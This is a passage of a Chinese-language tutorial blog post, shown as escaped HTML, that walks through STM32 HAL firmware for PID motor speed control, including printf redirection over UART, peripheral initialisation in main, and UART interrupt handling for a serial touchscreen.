class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;pid.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026#34;stdio.h\u0026#34;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END Includes */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"用uart重定向printf到调试器\"\u003e用uart重定向printf到调试器\u003c/h5\u003e\n\u003cp\u003e这个记住就好啦, 网上抄来的方法, 确实不错的方案\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 使用HAL库函数HAL_UART_Transmit将字符ch发送到UART4串口\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart4\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 返回发送的字符,这通常不会有实际的影响,但是它需要返回发送的字符。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"main函数\"\u003emain函数\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003e初始化一些参数, 并初始化一个PID计算的结构体\u003c/li\u003e\n\u003cli\u003e把屏幕控制的USART打开来接受信息, 并且设置每接受六次产生一次中断(因为上面的串口屏是设定的发送6个整数)\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e69\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e70\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-c\" data-lang=\"c\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 定义一个全局的PID结构体,用来计算PID的时候传参\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"k\"\u003estruct\u003c/span\u003e \u003cspan class=\"n\"\u003ePID_struct\u003c/span\u003e \u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 定义一个buf用来储存从屏幕的uart收到的消息(发了6个整数)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/* USER CODE END 0 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e/**\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @brief The application entry point.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e * @retval int\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 1 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* MCU Configuration--------------------------------------------------------*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Reset of all peripherals, Initializes the Flash interface and the Systick. */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END Init */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Configure the system clock */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eSystemClock_Config\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END SysInit */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Initialize all configured peripherals */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_GPIO_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM3_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_ADC1_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM2_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_TIM4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_UART4_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eMX_USART1_UART_Init\u003c/span\u003e\u003cspan class=\"p\"\u003e();\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这里是一个坑, 详情请看下面的PWM部分的Read_Encoder()\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM2\u003c/span\u003e\u003cspan class=\"o\"\u003e-\u0026gt;\u003c/span\u003e\u003cspan class=\"n\"\u003eCNT\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mh\"\u003e0x7FFF\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把屏幕的UART的接受消息打开,\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_Receive_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e6\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 把PID结构体初始化,这里的P I D参数要看自己选择合适的值, 可以根据实际情况适当调节.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003efloat\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mf\"\u003e0.5\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 调用PID初始化函数(这个代码我放在结尾吧, 作者是物院实验室某佬)\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// 这里最后两个参数是限定I项的, 具体左右可以看代码\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003ePID_init\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003epid\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KP\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KI\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eIncremental_KD\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e10\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 2 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* Infinite loop */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END WHILE */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE BEGIN 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"cm\"\u003e/* USER CODE END 3 */\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch5 id=\"屏幕串口的uart中断\"\u003e屏幕串口的UART中断\u003c/h5\u003e\n\u003cp\u003e我们通过重定义中断回调函数来实现对HAL的中断回调的使用\u003cbr/\u003e\n下面的代码 通过 屏幕串口USART中断来实现 不同状态下 激活/关闭 计时器和电机\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 